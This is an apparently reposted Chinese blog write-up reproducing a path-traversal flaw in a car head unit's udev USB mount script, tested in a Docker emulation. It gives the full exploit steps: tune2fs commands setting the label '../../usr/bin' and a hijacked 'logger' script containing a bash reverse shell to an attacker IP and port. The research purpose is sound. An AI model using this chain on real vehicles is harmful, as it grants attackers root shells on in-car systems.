​ 利用 U 盘 Getshell 是不是还停留在 Badusb、病毒U盘上,这次就来看一个不一样的。前段时间在浏览 Github 时看到了一个日产车机破解项目,其中有利用 U 盘获取车机 SHELL 的骚操作。感觉挺有意思的,花了点时间找到了车机固件并复现了漏洞。顺手写了一个 Dockerfile 供大家一起玩耍。

目录穿越

​ 目录穿越大多发生在 WEB 中,没想到竟然还能出现在硬件设备中。

​ 车机的操作系统为 Linux,U 盘等外设热插拔由 udev 实现。udev 是 Linux 内核的设备管理器,配置文件在 /etc/udev 下 。udev 会根据设备的 UUID 和 LABEL,构造挂载点。UUID 是块设备的唯一标识符,LAEBL 是块设备的一个标签。

​ 车机中自定义了 U 盘挂载脚本,在 udev 配置文件 /etc/udev/rules.d/local.rules 中指定 block 设备由脚本 /etc/udev/scripts/mount.sh处理。

SUBSYSTEM=="block", ACTION=="add",    KERNEL=="sd*", ENV{ID_FS_TYPE}=="?*", \ENV{DKD_PARTITION_TABLE}!="1", \ENV{DKD_PRESENTATION_HIDE}!="1", \RUN+="/etc/udev/scripts/mount.sh", RUN+="/etc/udev/scripts/trace_proxy.sh"
SUBSYSTEM=="block", ACTION=="remove", KERNEL=="sd*", ENV{ID_FS_TYPE}=="?*", RUN+="/etc/udev/scripts/mount.sh", RUN+="/etc/udev/scripts/trace_proxy.sh"
SUBSYSTEM=="block", ACTION=="change", KERNEL=="sd*", ENV{DEVTYPE}=="disk",  RUN+="/etc/udev/scripts/mount.sh"

​ 问题就出现mount.sh 脚本中,使用 ../../可实现路径穿越,获取系统权限。

MOUNT="/bin/mount"
UMOUNT="/bin/umount"
MOUNTPT="/dev/media"
MOUNTDB="/tmp/.automount"automount() {if [ -z "${ID_FS_TYPE}" ]; thenlogger -p user.err "mount.sh/automount" "$DEVNAME has no filesystem, not mounting"returnfi# Determine the name for the mount point.  First check for the# uuid, then for the label and then for a unique name.if [ -n "${ID_FS_UUID}" ]; thenmountdir=${ID_FS_UUID}elif [ -n "${ID_FS_LABEL}" ]; thenmountdir=${ID_FS_LABEL}elsemountdir="disk"while [ -d $MOUNTPT/$mountdir ]; domountdir="${mountdir}_"donefi# Create the mount point.! test -d "$MOUNTPT/$mountdir" && mkdir -p "$MOUNTPT/$mountdir"# And mount the disk or partition.if [ -n ${ID_FS_TYPE} ]thenif [ "vfat" = ${ID_FS_TYPE} ]thenIOCHARSET=",utf8=1"elif [ "ntfs" = ${ID_FS_TYPE} ]thenIOCHARSET=",nls=utf8"fifiresult=$($MOUNT -t ${ID_FS_TYPE} -o sync,ro$IOCHARSET $DEVNAME "$MOUNTPT/$mountdir" 2>&1)

​ 现在来详细看一下自动挂载函数 automount,首先判断U盘的文件系统 IDFSTYPE,可识别就继续执行,否则就退出。接下来的一段是用来拼接构造挂载点的,首先判断设备的 UUID,然后判断设备的 LABEL,哪一个不为空就用哪一个作为设备挂载的文件名,再拼接上 /dev/media 就是形成了最终的挂载点。最后使用 mount 命令将 U盘挂载到刚才构造的这个路径上。

​ 问题就出在挂载路径上,由于设备的 UUID 和 LABEL 都是能手动修改的。如果在 $mountdir 中引入相对路径,那就能实现路径穿越。然后通过路径穿越劫持系统中的程序,从而实现任意命令执行。UUID 中不能使用点号,所以就只能在 LABEL 上作文章了。接着往下看脚本。

h
status=$?
if [ ${status} -ne 0 ]; then
logger -p user.err "mount.sh/automount" "$MOUNT -t ${ID_FS_TYPE} -o sync,ro $DEVNAME \"$MOUNTPT/$mountdir\" failed: ${result}"
rm_dir "$MOUNTPT/$mountdir"
else
logger "mount.sh/automount" "mount [$MOUNTPT/$mountdir] with type ${ID_FS_TYPE} successful"
mkdir -p ${MOUNTDB}
echo -n "$MOUNTPT/$mountdir" > "${MOUNTDB}/$devname"
fi

​ U 盘挂载好之后,还会调用 logger 命令。那就骚操作就来了,将 UUID 设置为空,LABEL 设置为 ../usr/bin就能劫持原来的 /usr/bin/下的应用程序。logger 是一个不错的选择,在其中写入命令。U 盘自动挂载时,就会自动执行。下面来看看具体怎么利用。

漏洞利用

​ 首先准备一个 EXT4 格式的 U 盘。

​ blkid 命令用于查看设备的UUID、LABEL等信息。为什么没有看到设备的 LABEL 呢? 当某个属性为空时就会隐藏。

root@kali:~/automotive#blkid /dev/sdb1
/dev/sdb1: UUID="cf01cd66-7f32-4713-996a-3af878aba827" BLOCK_SIZE="4096" TYPE="ext4" 

​ EXT4 格式的 U 盘默认状态下,只有UUID,LABEL 为空。这两个值都可以使用 tune2fs 修改。

  1. 置空 UUID
root@kali:~/automotive# tune2fs -U NULL /dev/sdb1
tune2fs 1.46.2 (28-Feb-2021)
Setting the UUID on this filesystem could take some time.
Proceed anyway (or wait 5 seconds to proceed) ? (y,N) y
  1. 设置 LABEL
root@kali:~/automotive# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.46.2 (28-Feb-2021)

​ UUID 和 LABEL 修改完成,使用 blkid 查看修改后的结果,准确无误。

root@kali:~/automotive# tune2fs -L "../../usr/bin" /dev/sdb1
tune2fs 1.46.2 (28-Feb-2021)
  1. 设置反弹 shell

​ 手动挂载 U 盘,在 U 盘中创建一个名为 logger 的 shell 脚本,内容为反弹 shell 。一切设置好之后移除 U 盘。

root@kali:~/automotive# mount /dev/sdb1 /media/root/
root@kali:~/automotive# cd /media/root
root@kali:/media/root# cat logger
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.7.132/4444 0>&1
root@kali:/media/root# chmod +x logger
root@kali:/media/root# cd -
root@kali:~/automotive# umount /dev/sdb1
  1. 将特制的 U 盘插入模拟车机

​ 手里并没有日产的车(PS. 我与 Tesla 漏洞就相距一台 Tesla),而此时手痒怎么办。幸好我找到了固件,搭建了一个模拟环境。

​ 下载之前制作好的[Dockerfile](https://github.com/delikely/VulnerableFiles/blob/main/Automotive/bosch headunit root/Dockerfile),然后使用docker build、docker run 搭建起车机模拟环境。

root@kali:~/automotive# wget https://raw.githubusercontent.com/delikely/VulnerableFiles/main/Automotive/bosch%20headunit%20root/Dockerfile
root@kali:~/automotive# docker build -t delikely/bosch_headunit_root:automount .
Sending build context to Docker daemon  86.02kB
Step 1/4 : FROM ubuntu:12.04---> 5b117edd0b76
Step 2/4 : WORKDIR /etc/---> Using cache---> 22a68ab4c71d
root@kali:~/automotive# docker run -itd --privileged=true _headunit_root:automount
ee7059240fcea0e24bb01ebdbde51be1198f15b452af42f101307f8684

​ 使用上述命令创建好 Docker 后,虚拟车机的就运行起来了。现在只需要插入之前准备好的 U 盘就能拿到反弹 Shell。

​ 注:由于劫持了 /usr/bin/ 目录,很多命令不能用了。若想使用,那就得提前准备,把原来/usr/bin 目录的文件(或相同架构的可执行文件)拷贝到 U 盘根目录。

总结

​ 这个漏洞还挺有意思的,利用 U 盘 LABEL 目录遍历劫持 /usr/bin 执行任意命令。之前看过另外一个 Ubuntu 提权漏洞:利用软件链接提权,也让人直呼精彩。这次学到了新姿势,还搭建智能网联车漏洞的第一个模拟环境。后期会持续维护(新增)车联网漏洞模拟环境,欢迎有兴趣的小伙伴一起共建。

参考

  • boschheadunitroot
  • [How to change filesystem UUID (2 same UUID)?](http://2 same uuid/)
  • How to get root on Ubuntu 20.04 by pretending nobody’s /home

-END-

官网:https://huoxian.cn

火线安全平台:

火线Zone:


  • 官网:https://huoxian.cn
  • 火线安全平台:
  • 火线Zone

U盘目录穿越获取车机SHELL(内含模拟环境可上手实践)相关推荐

  1. java:获取本机IP,Linux环境下使用InetAddress.getLocalHost()方法获得127.0.0.1

    知道InetAddress.getLocalHost()方法是可以获取本地ip的,但是在mac电脑上执行的时候,偶尔会得到127.0.0.1的输出,这样拿到本地ip很不稳定,感觉就很不靠谱了 目录 I ...

  2. android framework实战车机手机系统开发环境相关问题补充

    android源码不建议用virtualbox进行编译,如果要也建议vmware Please ensure KVM is properly installed and usable 这个属于kvm虚 ...

  3. 雪佛兰-科鲁泽-车机破解[安装第三方软件]

    一.确定车机类型,19款和22款科鲁泽(全版本) 19款到现在的22款全版本,安装适配的有两款车机,一款是安卓系统,一个是Linux系统 安装车机一般存在19款中低配和后续改款的中高配车机 以下版本是 ...

  4. python获取本机 ip地址、mac地址(物理地址)、计算机名、硬盘序列号、CPU序列号、主板序列号、bios序列号、bios uuid号

    文章目录 python获取本机IP地址.mac地址(物理地址).计算机名 物理地址 计算机名.ip地址 硬盘序列号 CPU序列号 主板序列号 bios序列号 bios uuid号 python获取本机 ...

  5. 车载wince升级改造_想在低配车内蹦迪?改造车机还不如装个接收器,也就一顿饭钱...

    不少司机在开车的时候都喜欢放点音乐来放松身心,平时在家的时候可以用手机蓝牙连接音箱听音乐,但是有些比较老的汽车就不灵了,原来这些汽车的车机不支持蓝牙,想用手机听歌还真是不方便. 其实想要升级车机,很多 ...

  6. 汽车电子(三)--- 车机TBOX 介绍

    之前,我们在<车机娱乐系统介绍> 中介绍了智能车载娱乐系统的五个特征: 基于智能操作系统: Android, Yunos, Linux等 基本都是虚拟按键, 较少用实体按键 具备外网连接功 ...

  7. 汽车电子-车机TBox介绍

    本文转载自:https://blog.csdn.net/ciellee/article/details/96155195 之前,我们在<车机娱乐系统介绍> 中介绍了智能车载娱乐系统的五个特 ...

  8. 车联网(智能车机)测试行业解决方案

    智能车机系统行业解读 汽车智能车机核心系统由信息系统娱乐系统(IVI系统).导航系统.智能网联系统.安全系统四个子系统组成,为用户提供信息娱乐.导航定位.安全监测.数据交互.云服务等多样性服务的综合性 ...

  9. Android 7.1 车机 Android 系统 在线升级,将安装到下载到/data/目录下面

    最近按项目要求,需要做一个车机Android在线升级操作,但是cache内存太小了,最后只能寄存希望在 data/文件夹下,但是data/目录在6.0之后禁止recovery读取data文件.最后的解 ...

最新文章

  1. 巧用CSS的 Mask 滤镜
  2. Kendo UI Web教程分享
  3. Matlab绘制小波尺度函数和小波函数
  4. 今天参加面试 上机题,整理一下
  5. Hot Door CADtools (基础篇)
  6. 含有无关项的序列检测
  7. 使用nodejs和art-template模板引擎实现apache的部分功能
  8. 蓝桥杯第八届省赛JAVA真题----Excel地址
  9. 在 F5 LTM 上配置数据包过滤
  10. android的surfaceflinger原理讲解
  11. ScheduledThreadPoolExecutor部分源码学习
  12. Silverlight5.0正式发布附下载地址
  13. 2、【易混淆概念集】-前三章 2 净现值 NPV 内部报酬率 IRR 投资回报率 ROI
  14. The Operation couldn't be completed.(LaunchServicesError error 0.) 的解决方法
  15. cocos 场景制作流程
  16. jsp怎么设置页面背景
  17. Win10删除文件夹
  18. 数字化时代,基于令牌的身份验证是如何工作?
  19. 怎么调用接口发国际验证码和通知短信?
  20. Mysql引擎的知识

热门文章

  1. git+github
  2. 微型计算机控制系统设计方法,第3章 机电一体化中微型计算机控制系统及接口设计...
  3. 容量可动态扩展的LinkedBlockingQueue
  4. springBoot 2.x过滤器--监听器--拦截器
  5. ArcEngine Domain 总结
  6. android获取ro._抖音数据采集教程,Android群控黑盒调用,Sekiro使用手册
  7. 微信小程序开发的三种模式
  8. MavLink通信协议 C++应用详细教程
  9. rhino 调用 java_rhino-java中调用javascript
  10. Qt 字符串的操作,转换成 int、16进制